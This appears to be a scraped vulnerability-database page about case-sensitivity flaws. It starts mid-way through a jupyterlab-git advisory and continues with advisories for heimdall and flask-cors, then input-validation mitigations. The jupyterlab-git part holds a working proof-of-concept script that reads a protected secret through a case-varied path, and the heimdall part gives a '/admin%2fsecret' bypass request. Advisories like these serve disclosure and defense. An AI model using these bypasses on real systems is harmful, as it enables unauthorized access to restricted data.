subprocess.run([\"git\", \"commit\", \"-m\", \"init\"], cwd=repo_dir,\n capture_output=True, check=True, env=git_env)\n\n config_path = os.path.join(base_dir, \"jupyter_server_config.py\")\n with open(config_path, \"w\") as f:\n f.write(f\u0027c.ServerApp.root_dir = \"{workspace}\"\\n\u0027)\n f.write(f\u0027c.ServerApp.token = \"{TOKEN}\"\\n\u0027)\n f.write(f\u0027c.ServerApp.open_browser = False\\n\u0027)\n f.write(f\u0027c.ServerApp.port = {PORT}\\n\u0027)\n f.write(f\u0027c.ServerApp.ip = \"127.0.0.1\"\\n\u0027)\n f.write(f\u0027c.ServerApp.disable_check_xsrf = True\\n\u0027)\n f.write(f\u0027c.JupyterLabGit.excluded_paths = [\"/project/secrets\", \"/project/secrets/*\"]\\n\u0027)\n\n env = os.environ.copy()\n env[\"JUPYTER_CONFIG_DIR\"] = base_dir\n env[\"JUPYTER_DATA_DIR\"] = base_dir\n proc = subprocess.Popen(\n [sys.executable, \"-m\", \"jupyter_server\", f\"--config={config_path}\",\n \"--ServerApp.jpserver_extensions={\u0027jupyterlab_git\u0027: True}\"],\n stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env, cwd=base_dir)\n\n for _ in range(30):\n try:\n req = urllib.request.Request(f\"{BASE_URL}/api/status\",\n headers={\"Authorization\": f\"token {TOKEN}\"})\n if urllib.request.urlopen(req, timeout=2).status == 200:\n break\n except (urllib.error.URLError, OSError):\n pass\n time.sleep(0.5)\n else:\n proc.kill()\n shutil.rmtree(base_dir, ignore_errors=True)\n sys.exit(\"server failed to start\")\n\n try:\n # exclusion works\n code, _ = post(\"project/secrets\", \"/status\")\n blocked = code == 404\n\n # bypass\n code, _ = post(\"project/Secrets\", \"/status\")\n bypassed = code == 200\n\n # exfiltrate\n code, body = post(\"project/Secrets\", \"/content\",\n {\"filename\": \"./cred.txt\", \"reference\": {\"git\": \"HEAD\"}})\n content = body.get(\"content\", \"\") if isinstance(body, dict) else \"\"\n exfiltrated = SECRET in content\n\n ok = blocked and bypassed and exfiltrated\n print(f\"exclusion enforced (lowercase): {blocked}\")\n print(f\"bypass (case-varied): {bypassed}\")\n print(f\"secret exfiltrated: {exfiltrated}\")\n print(f\"result: {\u0027VULNERABLE\u0027 if ok else \u0027NOT CONFIRMED\u0027}\")\n return ok\n\n finally:\n proc.terminate()\n proc.wait(timeout=5)\n shutil.rmtree(base_dir, ignore_errors=True)\n\n\nif __name__ == \"__main__\":\n sys.exit(0 if main() else 1)\n\n```\n\n```bash\npip install \u0027jupyterlab-git==0.53.0\u0027\npython poc.py\n```\n\u003cimg width=\"686\" height=\"146\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f5b8d349-539a-44d7-9b17-d13b5f802625\" /\u003e\n\n\n## Fix\n\n```python\nif fnmatch.fnmatch(path.lower(), excluded_path.lower()):\n raise tornado.web.HTTPError(404)\n```\n\nOr apply `os.path.normcase()` to both operands before comparison.",
"id": "GHSA-436q-jwfr-rm2h",
"modified": "2026-06-19T19:36:22Z",
"published": "2026-06-19T19:36:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jupyterlab/jupyterlab-git/security/advisories/GHSA-436q-jwfr-rm2h"
},
{
"type": "PACKAGE",
"url": "https://github.com/jupyterlab/jupyterlab-git"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "jupyterlab-git excluded_paths Case-Sensitivity Bypass Allows Reading Excluded Directories"
}
GHSA-43JV-5J4X-QV67
Vulnerability from github – Published: 2026-04-25 23:29 – Updated: 2026-05-12 13:28Summary
Heimdall handles URL-encoded slashes (%2F) in a case-sensitive manner, while percent-encoding is defined to be case-insensitive. As a result, the lowercase equivalent (%2f) is not recognized and therefore not processed as expected when allow_encoded_slashes is set to off (the default setting).
This discrepancy can lead to differences in how request paths are interpreted by heimdall and upstream components, which may result in authorization bypass.
Note: The issue can only lead to unintended access if heimdall is configured with an "allow all" default rule. Since v0.16.0, heimdall enforces secure defaults and refuses to start with such a configuration unless this enforcement is explicitly disabled (e.g. via --insecure-skip-secure-default-rule-enforcement or the broader --insecure flag).
Details
Consider the following rule configuration:
id: rule-1
match:
routes:
- path: /admin/**
execute: # configured to require authentication and authorization
# ...
If an adversary sends a request such as /admin%2fsecret, neither is the above rule matched, nor is the request rejected (as would be expected when allow_encoded_slashes is set to off). Instead, the default rule (if configured) will be executed.
If the configured default rule is overly permissive (e.g. allowing anonymous access), and the upstream service interprets %2f as a path separator, the request may ultimately be processed as /admin/secret.
This results in the request being authorized based on a different path than the one processed by the upstream service, leading to authorization bypass.
Impact
Bypass of access control policies enforced by heimdall may lead to the following consequences:
- Access to or modification of data that should be restricted
- Invocation of functionality that is expected to require authentication or authorization
- In certain configurations, escalation of privileges depending on the exposed functionality
Workarounds
- Developers should not use the
--insecureor the--insecure-skip-secure-default-rule-enforcementflags and configure their default rule to implement "deny by default". - Reject HTTP paths containing encoded slashes in the layers in front of heimdall. Some proxies, like e.g., Traefik, do that by default.
- Include the ID of the rule expected to be executed in the JWT issued by heimdall and verify that value in the project's service.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/dadrus/heimdall"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.17.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42272"
],
"database_specific": {
"cwe_ids": [
"CWE-178",
"CWE-436"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-25T23:29:40Z",
"nvd_published_at": "2026-05-08T04:16:22Z",
"severity": "HIGH"
},
"details": "### Summary\n\nHeimdall handles URL-encoded slashes (`%2F`) in a case-sensitive manner, while percent-encoding is defined to be case-insensitive. As a result, the lowercase equivalent (`%2f`) is not recognized and therefore not processed as expected when `allow_encoded_slashes` is set to `off` (the default setting).\n\nThis discrepancy can lead to differences in how request paths are interpreted by heimdall and upstream components, which may result in authorization bypass.\n\n**Note:** The issue can only lead to unintended access if heimdall is configured with an \"allow all\" default rule. Since v0.16.0, heimdall enforces secure defaults and refuses to start with such a configuration unless this enforcement is explicitly disabled (e.g. via `--insecure-skip-secure-default-rule-enforcement` or the broader `--insecure` flag).\n\n### Details\n\nConsider the following rule configuration:\n\n```yaml\nid: rule-1\nmatch:\n routes:\n - path: /admin/**\nexecute: # configured to require authentication and authorization\n # ...\n```\n\nIf an adversary sends a request such as `/admin%2fsecret`, neither is the above rule matched, nor is the request rejected (as would be expected when `allow_encoded_slashes` is set to `off`). Instead, the default rule (if configured) will be executed.\n\nIf the configured default rule is overly permissive (e.g. allowing anonymous access), and the upstream service interprets `%2f` as a path separator, the request may ultimately be processed as `/admin/secret`.\n\nThis results in the request being authorized based on a different path than the one processed by the upstream service, leading to authorization bypass.\n\n### Impact\n\nBypass of access control policies enforced by heimdall may lead to the following consequences:\n\n* Access to or modification of data that should be restricted\n* Invocation of functionality that is expected to require authentication or authorization\n* In certain configurations, escalation of privileges depending on the exposed functionality\n\n\n### Workarounds\n\n* Developers should not use the `--insecure` or the `--insecure-skip-secure-default-rule-enforcement` flags and configure their default rule to implement \"deny by default\".\n* Reject HTTP paths containing encoded slashes in the layers in front of heimdall. Some proxies, like e.g., Traefik, do that by default.\n* Include the ID of the rule expected to be executed in the JWT issued by heimdall and verify that value in the project\u0027s service.",
"id": "GHSA-43jv-5j4x-qv67",
"modified": "2026-05-12T13:28:19Z",
"published": "2026-04-25T23:29:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dadrus/heimdall/security/advisories/GHSA-43jv-5j4x-qv67"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42272"
},
{
"type": "WEB",
"url": "https://github.com/dadrus/heimdall/pull/3207"
},
{
"type": "WEB",
"url": "https://github.com/dadrus/heimdall/commit/8b0de6aba23a047cfee3081df878271bb17f4351"
},
{
"type": "PACKAGE",
"url": "https://github.com/dadrus/heimdall"
},
{
"type": "WEB",
"url": "https://github.com/dadrus/heimdall/releases/tag/v0.17.14"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Heimdall: Case-sensitive handling of URL-encoded slashes may lead to inconsistent path interpretation"
}
GHSA-43QF-4RQW-9Q2G
Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-11-03 21:33corydolphin/flask-cors version 5.0.1 contains a vulnerability where the request path matching is case-insensitive due to the use of the try_match function, which is originally intended for matching hosts. This results in a mismatch because paths in URLs are case-sensitive, but the regex matching treats them as case-insensitive. This misconfiguration can lead to significant security vulnerabilities, allowing unauthorized origins to access paths meant to be restricted, resulting in data exposure and potential data leaks.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.0.1"
},
"package": {
"ecosystem": "PyPI",
"name": "flask-cors"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-6866"
],
"database_specific": {
"cwe_ids": [
"CWE-178"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-21T22:16:04Z",
"nvd_published_at": "2025-03-20T10:15:34Z",
"severity": "MODERATE"
},
"details": "corydolphin/flask-cors version 5.0.1 contains a vulnerability where the request path matching is case-insensitive due to the use of the `try_match` function, which is originally intended for matching hosts. This results in a mismatch because paths in URLs are case-sensitive, but the regex matching treats them as case-insensitive. This misconfiguration can lead to significant security vulnerabilities, allowing unauthorized origins to access paths meant to be restricted, resulting in data exposure and potential data leaks.",
"id": "GHSA-43qf-4rqw-9q2g",
"modified": "2025-11-03T21:33:12Z",
"published": "2025-03-20T12:32:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6866"
},
{
"type": "WEB",
"url": "https://github.com/corydolphin/flask-cors/commit/eb39516a3c96b90d0ae5f51293972395ec3ef358"
},
{
"type": "PACKAGE",
"url": "https://github.com/corydolphin/flask-cors"
},
{
"type": "WEB",
"url": "https://github.com/corydolphin/flask-cors/blob/4.0.1/flask_cors/extension.py#L195"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/808c11af-faee-43a8-824b-b5ab4f62b9e6"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00049.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Flask-CORS vulnerable to Improper Handling of Case Sensitivity"
}
Mitigation MIT-44
Strategy: Input Validation
Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-20
Strategy: Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
No CAPEC attack patterns related to this CWE.